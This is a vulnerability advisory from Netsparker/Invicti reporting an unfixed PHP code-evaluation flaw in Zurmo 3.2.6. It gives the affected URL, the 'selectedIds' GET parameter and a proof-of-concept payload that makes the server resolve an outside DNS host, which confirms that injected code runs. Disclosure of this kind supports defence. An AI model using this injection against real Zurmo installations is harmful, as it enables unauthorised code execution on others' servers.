Out of Band Code Evaluation Vulnerability in Zurmo 3.2.6


Advisory by Netsparker (now Invicti)
Name: Out of Band Code Evaluation in Zurmo
Affected Software: Zurmo
Affected Versions: 3.2.6
Homepage: http://zurmo.org
Vulnerability: Out of Band Code Evaluation
Severity: Critical
Status: Not Fixed
Invicti Advisory Reference: NS-19-009

Technical Details

URL: http://{DOMAIN}/zurmo/app/index.php/contacts/default/?_=1557483057859&ajax=list-view&Contact_page=&Contact_sort=&selectedIds=gethostbyname(trim('jnakpvs_zm8e35fk-ro1tuqv0l91lzlao8tgo6_5'.'6j4.r87.me'))
Parameter Name: selectedIds
Parameter Type: GET
Attack Pattern: gethostbyname(trim(%27jnakpvs_zm8e35fk-ro1tuqv0l91lzlao8tgo6_5%27.%276j4.r87.me%27))


Invicti identified a Remote Code Evaluation (PHP) by capturing a DNS A request, which occurs when input data is run as code.

Advisory Timeline

17th May 2019 – First Attempted Contact
25th July 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Umran Yildirimkaya while testing the Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.